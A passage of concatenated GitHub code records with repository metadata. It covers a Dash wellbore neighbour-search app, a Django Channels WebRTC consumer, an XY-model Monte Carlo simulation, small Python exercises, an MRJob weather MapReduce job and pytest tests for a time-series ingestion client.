True,\n                                                               zerolinecolor = \"rgb(255, 255, 255)\"\n                                                               )\n                                                        )\n                                        )\n\"\"\"\nSTART BODY CONTENT FOR DASH APP\n\"\"\"\ncount = 0\nbody = dbc.Container([\n    dbc.Row([\n            dbc.Col([\n                html.H1('KD Tree Neighbor Search'),\n                html.Br(),\n                dbc.FormGroup(\n                    [\n                        html.Div('Enter a well to search neighbors'),\n                        dbc.Input(\n                            id='query_well',\n                            maxLength=4,\n                            placeholder='Enter well name'\n                        ),\n                        html.Div('Enter re-drill code if applicable'),\n                        dbc.Input(\n                            id='query_rd',\n                            maxLength=2,\n                            placeholder='Type in well re-drill code'\n                        ),\n                        html.Div('Enter radius distance to be searched'),\n                        dbc.Input(\n                            id='query_distance',\n                            type='number',\n                            placeholder='Enter radius'  ####required field constraint??\n                        ),\n                        html.Br(),\n                        dbc.Button('Submit', id='button', size='md')\n                        ]\n                ),\n                html.Br(),\n                html.H2('Geoprog Search'),\n                dcc.Upload(\n                    id = 'geoprog',\n                    children = html.Div([\n                                'Drag and Drop or ',\n                                html.A('Select Files')\n                            ]),\n                    style={\n                                'width': '100%',\n                                'height': '60px',\n                                'lineHeight': '60px',\n                                'borderWidth': '1px',\n                                'borderStyle': 'dashed',\n                                'borderRadius': '5px',\n                                'textAlign': 'center',\n                                'margin': '10px'\n                            }\n                ),\n                html.Div('Select Fault by Fault Name'),\n                dcc.Dropdown(id = 'faults',\n                             placeholder= 'Select Fault(s)',\n                             multi= True,\n                            options = [{'label': i, 'value': lb_faults[i]} for i in lb_faults]),\n\n                ],\n                width = 3, align= 'center'\n            ),\n            dbc.Col([\n                    html.H3('Subsurface Map'),\n                    dcc.Graph(id='subsurface viz',\n                              figure={'data': [],#plot_3d_wellbore(INITIAL_QUERY_1, fault= []),\n                                     'layout': layout},\n                              ),\n                    #html.H3('Well Map'),\n                    # dcc.Graph(id = 'well_map',\n                    #           figure= generate_well_map(INITIAL_QUERY)\n                    #           )\n                ],\n                width = 9\n            )\n        ])\n], fluid = True)\n\napp.layout = html.Div(body)\n\n#update graph and well_map upon user selection changes\n@app.callback(\n    Output('subsurface viz', 'figure'),\n     #Output('well_map', 'figure')],\n    [Input('faults', 'value'),\n     Input('button', 'n_clicks')],\n    [State('query_well', 'value'),\n     State('query_rd', 'value'),\n     State('query_distance', 'value'),\n     State('subsurface viz', 'figure')]\n)\n\ndef update_3d_graph(fault, button_click, well_query, rd_query, distance_query, figure):\n\n    print( 'this is initialized:', well_query)\n    print('this is initialized:', rd_query)\n    print('this is initialized:', distance_query)\n\n    if button_click:\n\n        query_well = well_query + '_' + rd_query\n        print(query_well)\n        query_well_df = INITIAL_QUERY.loc[INITIAL_QUERY['NEW_WELL_NAME'] == query_well]\n        print(query_well_df)\n        well_neighbor_df = tree.query_well_rad(well_query, rd_query, distance_query)[3]\n        well_neighbor_df['NEW_WELL_NAME'] = well_neighbor_df['WELL_COMMON_NAME_nbr'] + '_' + well_neighbor_df['API_SUFFIX_nbr']\n        neighbor_well_names = well_neighbor_df['NEW_WELL_NAME'].tolist()\n\n        # placeholders = ','.join('?' for i in range(len(new_well_names)))\n        #\n        # SMP_QUERY = '''SELECT\n        #             [PROJECT_NAME],\n        #             [WELL_COMMON_NAME],\n        #             [API_SUFFIX],\n        #             [MD],\n        #             [TVDSS] * -1 as [TVDSS],\n        #             [MAP_NORTHING],\n        #             [MAP_EASTING],\n        #             [LATITUDE],\n        #             [LONGITUDE],\n        #             [mrkname] as [MRKNAME],\n        #             [top_perf] as [TOP_PERF],\n        #             [bot_perf] as [BOT_PERF],\n        #             [frac_flag] as [FRAC_FLAG],\n        #             [perf_status] [PERF_STATUS],\n        #             [SURVEY_DATE],\n        #             [perf_start_date] as [PERF_START_DATE],\n        #             CONCAT(WELL_COMMON_NAME,'_',API_SUFFIX) as NEW_WELL_NAME\n        #             FROM [BDA_RWI].[dbo].[surveys_markers_perfs_v] where CONCAT(WELL_COMMON_NAME,'_',API_SUFFIX) in (%s) order by [MD] asc;''' % placeholders\n        #\n        # df = pd.read_sql(SMP_QUERY, cnxn, params = new_well_names)\n\n        df = INITIAL_QUERY[INITIAL_QUERY['NEW_WELL_NAME'].isin(neighbor_well_names)]\n        data = plot_3d_wellbore(df, fault)\n        data.extend(plot_3d_wellbore(query_well_df, fault = None, color = '#037bfc'))\n        # need to convert fault input to string to pass into fault function. one fault at time at first?? multiple means big list. need\n        # to break to big list to smaller strings.\n        figure['data'] = data\n        figure['layout'] = layout\n        return figure\n\n    if not figure['data'] or figure['data'][0]['name'] != fault:\n        df = pd.DataFrame()\n        figure['data'] = plot_3d_wellbore(df, fault=fault)\n        figure['layout'] = layout\n        return figure\n\n# run the server\nif __name__ == '__main__':\n    app.run_server(host = '0.0.0.0', debug = False)\n# dash will automatically refresh browser when change in code when debug = True\n\n#data/logic files\n#single quotes\n\n","repo_name":"tayebayat/3D-Subsurface-Viz","sub_path":"Dash-KD.py","file_name":"Dash-KD.py","file_ext":"py","file_size_in_byte":18477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"22"}
+{"seq_id":"25958048402","text":"import json\nfrom channels.generic.websocket import AsyncWebsocketConsumer\n\nimport asyncio\n\nclass ChatConsumer(AsyncWebsocketConsumer):\n    async def connect(self):\n\n        self.room_group_name = 'Test-Room'\n\n        await self.channel_layer.group_add(\n            self.room_group_name,\n            self.channel_name\n        )\n\n        await self.accept()\n\n    async def disconnect(self, close_code):\n        \n        await self.channel_layer.group_discard(\n            self.room_group_name,\n            self.channel_name\n        )\n\n        print('Disconnected!')\n        \n\n    # Receive message from WebSocket\n    async def receive(self, text_data):\n        receive_dict = json.loads(text_data)\n        peer_username = receive_dict['peer']\n        action = receive_dict['action']\n        message = receive_dict['message']\n\n        # print('unanswered_offers: ', self.unanswered_offers)\n\n        print('Message received: ', message)\n\n        print('peer_username: ', peer_username)\n        print('action: ', action)\n        print('self.channel_name: ', self.channel_name)\n\n        if(action == 'new-offer') or (action =='new-answer'):\n            # in case its a new offer or answer\n            # send it to the new peer or initial offerer respectively\n\n            receiver_channel_name = receive_dict['message']['receiver_channel_name']\n\n            print('Sending to ', receiver_channel_name)\n\n            # set new receiver as the current sender\n            receive_dict['message']['receiver_channel_name'] = self.channel_name\n\n            await self.channel_layer.send(\n                receiver_channel_name,\n                {\n                    'type': 'send.sdp',\n                    'receive_dict': receive_dict,\n                }\n            )\n\n            return\n\n        # set new receiver as the current sender\n        # so that some messages can be sent\n        # to this channel specifically\n        receive_dict['message']['receiver_channel_name'] = self.channel_name\n\n        # send to all peers\n        await self.channel_layer.group_send(\n            self.room_group_name,\n            {\n                'type': 'send.sdp',\n                'receive_dict': receive_dict,\n            }\n        )\n\n    async def send_sdp(self, event):\n        receive_dict = event['receive_dict']\n\n        this_peer = receive_dict['peer']\n        action = receive_dict['action']\n        message = receive_dict['message']\n\n        await self.send(text_data=json.dumps({\n            'peer': this_peer,\n            'action': action,\n            'message': message,\n        }))","repo_name":"Tauhid-UAP/django-channels-webrtc","sub_path":"mysite/chat/consumers.py","file_name":"consumers.py","file_ext":"py","file_size_in_byte":2571,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"22"}
+{"seq_id":"29428850743","text":"'''这是绘制关联函数vs距离图像，生成两个文件corr_vs_distan.jpg和corre_vs_r.txt\n'''\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport random\nfrom scipy.interpolate import make_interp_spline\n'''我想知道是否真的更新了？？？从版本备注来看，确实更新了。方法是：右键点击，选择git bash here进入ssh命令，先用git init初始化一下再git add . ，\n再git commit -m “这里写推送版本，即版本注释”，然后git push origin master\n'''\n\n\n\nclass XY_triangular():\n    def __init__(self,temperature = 3,width=10):\n        self.width = width#二维正方形宽度\n        if self.width % 2 == 1:\n            self.length=self.width+1\n        else:\n            self.length=self.width\n        self.num_spins = (self.width*2)*self.length#总的粒子数,由于我打算每个自旋间隔一个空位来形成三角形，所以宽度先乘以2才能得到想要的数量\n        L,N = self.width*2,self.num_spins\n        self.nbr = {i : (  (i//L)*L+(i+2)%L, (i//L)*L+ (i-2)%L, (((i-L)//L)*L)%N+((i-L)-1)%L,  (((i-L)//L)*L)%N+((i-L)+1)%L,(((i+L)//L)*L)%N+((i+L)-1)%L,  (((i+L)//L)*L)%N+((i+L)+1)%L ) for i in list(range(N))}\n        self.spin_config = np.zeros(self.num_spins)\n        self.spin_index=[]\n        for i in range(N):#用于找出构建自旋的点\n            if (((i//L+1) % 2) == 0) & ((i % 2)==0):\n                self.spin_index.append(i)\n            elif ((i//L+1) % 2 == 1) & ((i % 2)==1):\n                self.spin_index.append(i)\n        for i in range(int(N/2)):\n            self.spin_config[self.spin_index[i]]=list(np.zeros(int(N/2)))[i]#list(np.random.random(int(N/2))*2*pi)[i]#构造xy model的自旋取向random.random取值为0到1\n        \n        for i in range(self.num_spins):#让不用来构建自旋的点都为负数\n            if i in self.spin_index:\n                continue\n            else:\n                self.spin_config[i]=-2\n        self.temperature = temperature\n        self.energy = np.sum(self.get_energy())/(2*self.width*self.length)#求单个能量\n        self.magnetism = []\n        self.totalmag=[]\n        self.Cv = []\n        self.mag_suscept=[]#磁化率\n        self.r_dis=10 #关联函数长度\n        self.y_corre=np.zeros(self.r_dis)\n        self.corre_neigh1=[]\n        self.corre_neigh2=[]\n        self.corre_neigh3=[]\n        \n\n    \n    def sweep(self):\n        beta = 1.0 / self.temperature\n        for idx in random.sample(self.spin_index,len(self.spin_index)):\n            energy_i = -sum( np.cos( self.spin_config[idx] - self.spin_config[n] ) for n in self.nbr[idx] ) \n            dtheta = np.random.uniform(0*np.pi,2*np.pi)\n            spin_temp = self.spin_config[idx] + dtheta#取向变化\n            energy_f = -sum(  np.cos(  spin_temp - self.spin_config[n]  ) for n in self.nbr[idx]  ) \n            delta_E = energy_f - energy_i\n            if delta_E < 0 or np.random.uniform(0.0, 1.0) < np.exp(-beta * delta_E):#判断翻转有不有效果，无论最后翻不翻转结果都视为演化一次\n                self.spin_config[idx] += dtheta\n                if self.spin_config[idx] > 2*np.pi:\n                    self.spin_config[idx] -= 2*np.pi\n\n\n    def get_energy(self):\n        energy_=np.zeros(np.shape(self.spin_index))#shape返回一个数组\n        idx = 0\n        for spin in self.spin_index: #calculate energy per spin每一个自旋的能量\n            energy_[idx] = -sum(np.cos(self.spin_config[spin]-self.spin_config[n]) for n in self.nbr[spin])#nearst neighbor of kth spin\n            idx +=1\n        return energy_\n    \n    def get_magcos(self):\n        magnetism_ = 0#求磁矩序参量\n        for spin in self.spin_index:\n            magnetism_ += (np.cos(self.spin_config[spin]))#+np.sin(self.spin_config[spin])   )\n        return magnetism_\n    def get_magsin(self):\n        magnetism_ = 0#求磁矩序参量\n        for spin in self.spin_index:\n            magnetism_ += (np.sin(self.spin_config[spin]))#+np.sin(self.spin_config[spin])   )\n        return magnetism_\n    \n    \n    def vortex_density(self):\n        vortex_=np.zeros(np.shape(self.spin_index))#shape返回一个数组\n        idx = 0\n        for spin in self.spin_index: \n            vortex_[idx] = sum((self.spin_config[spin]-self.spin_config[n]) for n in self.nbr[spin])/(2*np.pi)#nearst neighbor of kth spin\n            idx +=1\n        return vortex_\n    \n    def correlation_func(self,ri):\n        L,N = self.width*2,self.num_spins\n        corre=0.0\n        for spin in self.spin_index:\n            a1=[]\n            a1.append( (spin//L)*L+(spin+2*(ri+1))%L)\n            a1.append((spin//L)*L+ (spin-2*(ri+1))%L)\n            a1.append((((spin-(ri+1)*L)//L)*L)%N+((spin-(ri+1)*L)-(ri+1))%L)\n            a1.append((((spin-(ri+1)*L)//L)*L)%N+((spin-(ri+1)*L)+1+ri)%L)\n            a1.append((((spin+(ri+1)*L)//L)*L)%N+((spin+(ri+1)*L)-ri-1)%L)\n            a1.append((((spin+(ri+1)*L)//L)*L)%N+((spin+(ri+1)*L)+ri+1)%L)\n            for i in range(len(a1)):\n                corre+=np.cos(self.spin_config[spin]-self.spin_config[a1[i]] )\n        return corre/(len(a1)*self.width*self.length)\n        \n\n    def equilibrate(self,max1_nsweeps=int(1e4),temperature=None,show = False,show_after=False,equili_yes=True):\n        if temperature != None:\n            self.temperature = temperature\n        dic_thermal_t = {}\n        dic_thermal_t['energy']=[]\n        dic_thermal_t['magnetism']=[]\n        dic_thermal_t['totalmag']=[]\n        #dic_thermal_t['vortex_density']=[]\n        for ki in range(self.r_dis):\n            dic_thermal_t['corre_distance_{:}'.format(ki)]=[]\n        for k in range(max1_nsweeps):\n            self.sweep()     \n            if (k>500)  or k == max1_nsweeps-1:\n                break\n\n        \n        after_steps=2**10\n        for ki in range(int(after_steps)):\n            self.sweep()\n            for kj in range(self.r_dis):\n                dic_thermal_t['corre_distance_{:}'.format(kj)]+=[self.correlation_func(kj)]\n        for ki in range(self.r_dis):\n            self.y_corre[ki] = np.sum(dic_thermal_t['corre_distance_{:}'.format(ki)])/after_steps\n\n            \n            \n                \n    \n\n    \n\nf=open(\"corre_vs_r.txt\",\"at\")    \n\n\ndic = {}\ntemp_num=4\ndic['temp']=list(np.linspace(0.02,3.0,temp_num))\n#dic['Cv']=[]\na=XY_triangular(width=12)#维度需大于10\n#initial_system.show()\nei=el=1\nx=np.arange(1,a.r_dis+1,1)\nx_smooth = np.linspace(x.min(), x.max(), 30)\nfor i in range(1,temp_num+1):\n    dic['corre_{:}'.format(i)]=np.zeros(a.r_dis)\nplt.figure(figsize=(6,4), dpi=100)\nfor T in dic['temp']:\n    a.equilibrate(temperature=T)\n    print('down!!!')\n    #print(a.y_corre)\n    for i in range(a.r_dis):\n        dic['corre_{:}'.format(ei)][i] = a.y_corre[i]\n    #print(dic['corre_{:}'.format(ei)])\n    \n    ei+=1\n\nfor T in dic['temp']:\n    print('Temp={:*^10.3f}'.format(T),file=f)\n    print(dic['corre_{:}'.format(el)],file=f)\n    y=np.array(dic['corre_{:}'.format(el)]).reshape(a.r_dis)\n    y_smooth = make_interp_spline(x, y)(x_smooth)\n    plt.plot(x_smooth,y_smooth,label='T={:.3}'.format(T))\n    plt.scatter(x,y)\n    el+=1\n\nplt.ylabel('correlation function ')\nplt.xlabel('distance')\nplt.legend(bbox_to_anchor=(1.01, 0), loc=3, borderaxespad=0)\n#plt.title('T=%.2f'%self.temperature)\nplt.savefig('corr_vs_distan.jpg')\nplt.show()\n\n\nf.close()\n","repo_name":"BarryChin/xy-model-with-triangular-lattice","sub_path":"single function/correlation_vs_diatance.py","file_name":"correlation_vs_diatance.py","file_ext":"py","file_size_in_byte":7313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"41656579460","text":"#В массиве случайных целых чисел поменять местами минимальный\n# и максимальный элементы. \n\nimport random\n\nSIZE = 10\narray = [random.randint(0, SIZE * SIZE) for _ in range(SIZE)]\n\nminimum = maximum = array[0]\n\nfor i in range(1, len(array)):\n    if array[i] > maximum:\n        maximum = array[i]\n    elif array[i] < minimum:\n        minimum = array[i]\n    else:\n        pass\nnew_array = []\nfor i in range(len(array)):\n    if array[i] == maximum:\n        new_array += [minimum]\n    elif array[i] == minimum:\n        new_array += [maximum]\n    else:\n        new_array += [array[i]]\nprint('Старый массив: ', array)\nprint('максимальный элемент:', maximum, 'минимальный элемент: ', minimum)\nprint('Новый массив:', new_array)\n","repo_name":"serg0761/alg","sub_path":"3.3.py","file_name":"3.3.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"74935040721","text":"from django.urls import path\n\nfrom articleapp.views import ydate, YONE, YTHREE, YTWO, RECOMMEND\n\napp_name = 'articleapp'\n\nurlpatterns = [\n    path('list/', ydate, name='list'),\n    path('recommend/<int:pk>',RECOMMEND.as_view(), name='recommend'),\n    path('yone/<int:pk>', YONE.as_view(), name='yone'),\n    path('ytwo/<int:pk>', YTWO.as_view(), name='ytwo'),\n    path('ythree/<int:pk>', YTHREE.as_view(), name='ythree'),\n    ]","repo_name":"ha-yun/yeomanchu","sub_path":"articleapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"38728613903","text":"'''\n    # Asignatura: Sistemas de Gestion de Datos y de la Informacion\n    # Practica 1 (MapReduce y ApacheSpark)\n    # Grupo 10 (Adrian Garcia y Frank Julca)\n    # Declaracion de integridad: Adrian Garcia y Frank Julca\n    declaramos que esta solucion es fruto exclusivamente de nuestro trabajo personal.\n    No hemos sido ayudados por ninguna otra persona ni hemos obtenido la solucion de fuentes externas,\n    y tampoco hemos compartido nuestra solucion con nadie. Declaramos ademas que no hemos realizado de manera\n    deshonesta ninguna otra actividad que pueda mejorar nuestros resultados ni perjudicar los resultados de los demas.\n'''\n\nfrom mrjob.job import MRJob\n\nclass MRWeather(MRJob):\n\n    # Fase MAP (line es una cadena de texto) emite la fecha en forma de cadena como clave\n    # y un diccionario como valor, con el maximo de la bateria, la suma de valores, el numero de valores,\n    # el minimo.\n    def mapper(self, key, line):\n        words = line.split(',')\n        \n        # Evitamos la cabecera\n        if words[0] != 'date-time':\n            date, hour = words[0].split()\n            formatDate = date.split(\"/\")[1] + \"/\" + date.split(\"/\")[0]\n            \n            # Emitimos un diccionario con los datos {maximo,suma de valores, numero de valores,minimo}\n            battery = {}\n            battery['max'] = float(words[8])\n            battery['sum'] = float(words[8])\n            battery['num'] = 1\n            battery['min'] = float(words[8])\n            \n            yield formatDate, battery\n\n    # Fase REDUCE (key es una cadena texto, values un generador de diccionarios) emite la fecha como clave\n    # y un diccionario con el maximo, la media y el minimo definitivos de dicha fecha.\n    def reducer(self, key, values):\n        battery = {}\n        valuesList = list(values)\n        \n        # Transformamos el generador en una lista y devolvemos un diccionario con los resultados\n        battery['max'] = max(d['max'] for d in valuesList)\n        avg = sum(d['sum'] for d in valuesList) / sum(d['num'] for d in valuesList)\n        battery['avg'] = round(avg,2)\n        battery['min'] = min(d['min'] for d in valuesList)\n        \n        yield key, battery\n\n    # Fase COMBINER (key es una cadena texto con la fecha, values un generador de diccionarios)\n    # emite la fecha como clave y un diccionario como valor, con el maximo de la bateria, la suma\n    # de valores, el numero de valores y el minimo.\n    def combiner(self, key, values):\n        battery = {}\n        valuesList = list(values)\n        \n        # Emitimos un diccionario con los resultados de cada nodo tras la fase mapper\n        battery['max'] = max(d['max'] for d in valuesList)\n        battery['min'] = min(d['min'] for d in valuesList)\n        battery['sum'] = sum(d['sum'] for d in valuesList)\n        battery['num'] = sum(d['num'] for d in valuesList)\n        \n        yield key, battery\n\n\nif __name__ == '__main__':\n    MRWeather.run()\n","repo_name":"mizadri/big-data","sub_path":"MapReduce-Spark/DatosMetorologicos/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":2945,"program_lang":"python","lang":"es","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"35696424307","text":"import math\r\n\r\ndef squared(list, num):\r\n    return list[num]*list[num]\r\ncnt = 0\r\nwhile True:\r\n    data = list(map(int, input().split()))\r\n    if(data[0] == data[1] == data[2] == 0):\r\n        break\r\n    else:\r\n        cnt += 1\r\n        print(f\"Triangle #{cnt}\")\r\n        if(data.index(-1) == 2):\r\n            try:\r\n                print(f\"c = {math.sqrt(squared(data, 0)+squared(data, 1)):0.3f}\")\r\n            except:\r\n                print(\"Impossible.\")\r\n        elif(data[0]>=data[2] or data[1]>=data[2]):\r\n            print(\"Impossible.\")\r\n        elif(data.index(-1) == 0):\r\n            try:\r\n                print(f\"a = {math.sqrt(squared(data, 2)-squared(data, 1)):0.3f}\")\r\n            except:\r\n                print(\"Impossible.\")\r\n        elif(data.index(-1) == 1):\r\n            try:\r\n                print(f\"b = {math.sqrt(squared(data, 2)-squared(data, 0)):0.3f}\")\r\n            except:\r\n                print(\"Impossible.\")\r\n\r\n\r\n        print()","repo_name":"Hitbee-dev/Coding_test","sub_path":"baekjoon/etc/6322.py","file_name":"6322.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12258836287","text":"\"\"\"Details metric.\"\"\"\n\nimport datasets\nfrom sklearn.metrics import confusion_matrix\n\nimport evaluate\n\n\n_DESCRIPTION = \"\"\"\nReturns the details with :\n- True positives\n- True negatives\n- False positives\n- False negatives\n\"\"\"\n\n\n_KWARGS_DESCRIPTION = \"\"\"\nArgs:\n    predictions (`list` of `int`): Predicted labels.\n    references (`list` of `int`): Ground truth labels.\n\"\"\"\n\n\nclass Details(evaluate.Metric):\n    def _info(self):\n        return evaluate.MetricInfo(\n            description=_DESCRIPTION,\n            inputs_description=_KWARGS_DESCRIPTION,\n            features=datasets.Features(\n                {\n                    \"predictions\": datasets.Value(\"int32\"),\n                    \"references\": datasets.Value(\"int32\"),\n                }\n            ),\n            citation=''\n        )\n\n\n    def _compute(self, predictions, references):\n        tn, fp, fn, tp = confusion_matrix(references, predictions).ravel()\n\n        return {\"TN\": tn, \"FP\": fp, \"FN\": fn, \"TP\": tp}\n","repo_name":"labri-progress/MLinter","sub_path":"learning/utils/details.py","file_name":"details.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"23317464027","text":"def funcion_suma():\n    print(\"Suma de 2 numeros : \")\n    dato1 = int(input(\"Ingrese el primer operando: \"))\n    dato2 = int(input(\"Ingrese el segundo operando: \"))\n    suma = dato1 + dato2\n    print(\"La suma es : \", suma)\n\n\ndef funcion_resta():\n    print(\"Resta de 2 numeros : \")\n    dato1 = int(input(\"Ingrese el primer operando: \"))\n    dato2 = int(input(\"Ingrese el segundo operando: \"))\n    resta = dato1 - dato2\n    print(\"La resta es : \", resta)\n\n\ndef funcion_multiplicacion():\n    print(\"Multiplicacion de 2 numeros : \")\n    dato1 = int(input(\"Ingrese el primer operando: \"))\n    dato2 = int(input(\"Ingrese el segundo operando: \"))\n    multi = dato1 * dato2\n    print(\"La multiplicacion es : \", multi)\n\n\ndef funcion_division():\n    print(\"Division de 2 numeros : \")\n    dato1 = int(input(\"Ingrese el primer operando: \"))\n    dato2 = int(input(\"Ingrese el segundo operando: \"))\n    division = dato1 / dato2\n    print(\"La division es : \", division)\n\n\ndef menu():\n    print(\"Calculadora en Python con Funciones\")\n    print(\"1. Suma \")\n    print(\"2. Resta \")\n    print(\"3. Multiplicacion \")\n    print(\"4. Divsion \")\n    print(\"5. Salir \")\n    opcion = int(input(\"Ingrese una opcion: \"))\n    if opcion == 1:\n        funcion_suma()\n    elif opcion == 2:\n        funcion_resta()\n    elif opcion == 3:\n        funcion_multiplicacion()\n    elif opcion == 4:\n        funcion_division()\n    else:\n        exit(1)\n\n\nmenu()\n\n\n\n","repo_name":"AdonisAMG/Istg","sub_path":"1G/Funciones_suma.py","file_name":"Funciones_suma.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"11118782087","text":"def minStock(stocks):\n\tminprice = stocks[0]\n\tmaxProfit = 0\n\t\n\tfor price in stocks:\t\n\t\tminprice = min(minprice,price)\t\n\t\tprofit = price - minprice\n\t\tmaxProfit = max(maxProfit,profit)\n\t\t\n\tif(maxProfit <= 0):\n\t\treturn 0\n\treturn maxProfit\n\t\n\t\nprint(minStock([7,6,4,3,1]))","repo_name":"harshaldotcpp/data-strutures-algorithms","sub_path":"array/stockBuyAndSell.py","file_name":"stockBuyAndSell.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"10150957674","text":"# vim: ai:ts=4:sw=4:sts=4:expandtab\n# pylint: disable=line-too-long,missing-function-docstring,no-self-use,too-few-public-methods,unused-argument,redefined-outer-name\n\n\"\"\"Test for metrics\"\"\"\n\n\n#TODO(gmasse): test influx without db name\n#TODO(gmasse): test unsupported backend\n\n\nimport logging\nimport requests\nimport pytest\nfrom universal_tsdb import Client, Ingester, MaxErrorsException\n\n@pytest.fixture\ndef mock_send_ok(monkeypatch):\n    \"\"\"Session.send() mocked to return HTTP 200\"\"\"\n\n    def mock_send(self, request, **kwargs):\n        # pylint: disable=unused-argument\n        response = requests.Response()\n        response.status_code = 200\n        response.request = request\n        response.url = 'http://127.0.0.1'\n        return response\n\n    monkeypatch.setattr(requests.sessions.Session, 'send', mock_send)\n\n@pytest.fixture\ndef mock_send_ko(monkeypatch):\n    \"\"\"Session.send() mocked to return HTTP 400\"\"\"\n\n    def mock_send(self, request, **kwargs):\n        # pylint: disable=unused-argument\n        response = requests.Response()\n        response.status_code = 400\n        response.request = request\n        response.url = 'http://127.0.0.1'\n        return response\n\n    monkeypatch.setattr(requests.sessions.Session, 'send', mock_send)\n\n\nclass TestGeneric:\n    \"\"\"A set of generic tests (no backend dependant)\"\"\"\n\n    #@pytest.mark.skip(reason=\"no way of currently testing this\")\n    def test_logs(self, caplog, mock_send_ok):\n        with caplog.at_level(logging.DEBUG):\n            backend = Client('warp10', 'http://localhost/api/v0')\n            assert caplog.records[0].levelname == \"DEBUG\"\n            assert \"client instanciated\" in caplog.text\n            caplog.clear()\n            serie = Ingester(backend)\n            assert caplog.records[0].levelname == \"DEBUG\"\n            assert \"ingester instanciated\" in caplog.text\n            caplog.clear()\n            serie.append(timestamp=1585934985000, name=42)\n            serie.commit()\n            assert caplog.records[0].levelname == \"INFO\"\n            assert caplog.records[1].levelname == \"DEBUG\"\n            assert \"1585934985000\" in caplog.records[1].message\n            assert caplog.records[2].levelname == \"INFO\"\n            assert caplog.records[2].message.endswith(\"Commit#1 Sent 1 new series (total: 1)\")\n            caplog.clear()\n            del serie\n            assert caplog.records[0].levelname == \"INFO\"\n            assert \"REPORT: 1 commits (1 successes), 1 series, 1 values\" in caplog.text\n\n    def test_http_failure(self, monkeypatch, mock_send_ko):\n        backend = Client('warp10', 'http://localhost/api/v0')\n        serie = Ingester(backend)\n        serie.append(name=1)\n        with pytest.raises(requests.exceptions.HTTPError):\n            serie.commit()\n\n    def test_http_max_errors(self, monkeypatch, mock_send_ko):\n        backend = Client('warp10', 'http://localhost/api/v0')\n        serie = Ingester(backend, batch=1)\n        serie.append(timestamp=1585934985000, name=1)\n        serie.append(timestamp=1585934986000, name=2)\n        assert serie.length() == 2\n        with pytest.raises(MaxErrorsException):\n            serie.append(timestamp=1585934987000, name=3)\n        assert serie.length() == 3\n\nclass TestWarp10:\n    \"\"\"A set of tests with Warp10 as backend\"\"\"\n\n    @pytest.mark.parametrize('params, expected', [\n        ({'timestamp':1585934985000, 'name':'value'}, \"1585934985000000// name{} 'value'\\n\"),\n        ({'timestamp':1585934985000, 'name':42}, \"1585934985000000// name{} 42\\n\"),\n        ({'timestamp':1585934985000, 'name':42.0}, \"1585934985000000// name{} 42.0\\n\"),\n        ({'timestamp':1585934985000, 'measurement':'mes', 'name':'value'}, \"1585934985000000// mes.name{} 'value'\\n\"),\n        ({'timestamp':1585934985000, 'tags':{'tag1':'tval1', 'tag2':1664}, 'measurement':'mes', 'name':'value'}, \"1585934985000000// mes.name{tag1=tval1,tag2=1664} 'value'\\n\"),\n        ({'timestamp':1585934985000, 'name1':'value1', 'name2':42}, \"1585934985000000// name1{} 'value1'\\n\" + \"1585934985000000// name2{} 42\\n\"),\n        ({'timestamp':1585934985000, 'measurement':'mes', 'name1':'value1', 'name2':42}, \"1585934985000000// mes.name1{} 'value1'\\n\"+\"1585934985000000// mes.name2{} 42\\n\"),\n        ({'timestamp':1585934985000, 'tags':{'tag1':'tval1'}, 'measurement':'mes', 'name1':'value1', 'name2':42}, \"1585934985000000// mes.name1{tag1=tval1} 'value1'\\n\"+\"1585934985000000// mes.name2{tag1=tval1} 42\\n\"),\n        ({'timestamp':1585934985000, 'clé':'va/ =€ur\\''}, \"1585934985000000// cl%C3%A9{} 'va%2F%20%3D%E2%82%ACur%27'\\n\"),\n        ({'timestamp':1585934985000, 'tags':{'tàg 1':'$ € $'}, 'measurement':'mes', 'name':'value'}, \"1585934985000000// mes.name{t%C3%A0g%201=%24%20%E2%82%AC%20%24} 'value'\\n\"),\n        ({'timestamp':1585934985000, 'boolean':True}, \"1585934985000000// boolean{} T\\n\"),\n        ({'timestamp':1585934985000, 'boolean':False}, \"1585934985000000// boolean{} F\\n\")\n    ], ids=[\n        'simple',\n        'integer',\n        'float',\n        'measurement',\n        'tags',\n        'multipoints',\n        'measurement+multipoints',\n        'measurement+tags+multipoints',\n        'unicode',\n        'escaped unicode tags',\n        'true boolean',\n        'false boolean'\n    ])\n    def test(self, params, expected):\n        backend = Client('warp10', 'http://localhost/api/v0')\n        serie = Ingester(backend)\n        serie.append(**params)\n        assert serie.payload() == expected\n\n    def test_timestamp(self):\n        backend = Client('warp10', 'http://localhost/api/v0')\n        serie = Ingester(backend)\n        serie.append(name=42)\n        assert serie.payload().endswith(\"// name{} 42\\n\")\n\n    def test_commit(self, mock_send_ok):\n        backend = Client('warp10', 'http://localhost/api/v0')\n        serie = Ingester(backend)\n        serie.append(name=42)\n        serie.commit()\n\n    @pytest.mark.parametrize('length, batch_size', [(9, 3), (9, 4), (9, 10)])\n    def test_batch(self, length, batch_size, mock_send_ok):\n        backend = Client('warp10', 'http://localhost/api/v0')\n        serie = Ingester(backend, batch=batch_size)\n        for i in range(1, length+1):\n            serie.append(1585934895000+10000*i, key=\"value{}\".format(i))\n        assert serie.length() == length % batch_size # checking remaining points\n\n    def test_token(self):\n        # pylint: disable=protected-access\n        backend = Client('warp10', 'http://localhost/api/v0', token='ABCDEF0123456789')\n   